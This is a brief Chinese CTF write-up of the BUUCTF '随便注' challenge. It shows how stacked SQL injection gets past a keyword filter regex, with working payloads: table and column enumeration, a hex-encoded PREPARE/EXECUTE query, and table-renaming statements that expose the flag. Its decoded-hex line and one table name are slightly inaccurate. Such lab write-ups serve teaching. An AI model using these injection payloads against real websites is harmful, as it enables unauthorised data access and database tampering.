【web】BUUCTF-随便注

随便输入一个单引号,报错

order by 3就不行了

尝试联合查询的时候出现提示:

"/select|update|delete|drop|insert|where|\./i"

一个正则可视化网站:https://regexper.com

 使用堆叠注入:1';show tables;#

看一下表里有什么列名:1';show columns from `1919810931114514`;#

(注意,字符串为表名的表操作时要加反引号)

但是没办法使用 select * from `1919810931114514`

看网上师傅们有两种方法,第一种:mysql 预定义语句

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;Prepare execsql from @a;execute execsql;#

hex decode 以后是:?inject=1';SeT@a=select * from `1919810931114514`;Prepare execsql from @a;execute execsql;#

 

还有一种方法时是:改表名 这样查询的时候就可以查询到 flag

?inject=1';
rename tables `words` to `test`;rename tables `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);#

意思分别是:把 words 表改名为 test,把 1919810931114541 改名为 words

把列名 flag 改为 id

这样在 1'; or 1=1# 查询的时候就会把所有的都列出来,这样就可以看到 flag 了

猜你喜欢

转载自www.cnblogs.com/yichen115/p/11513171.html
今日推荐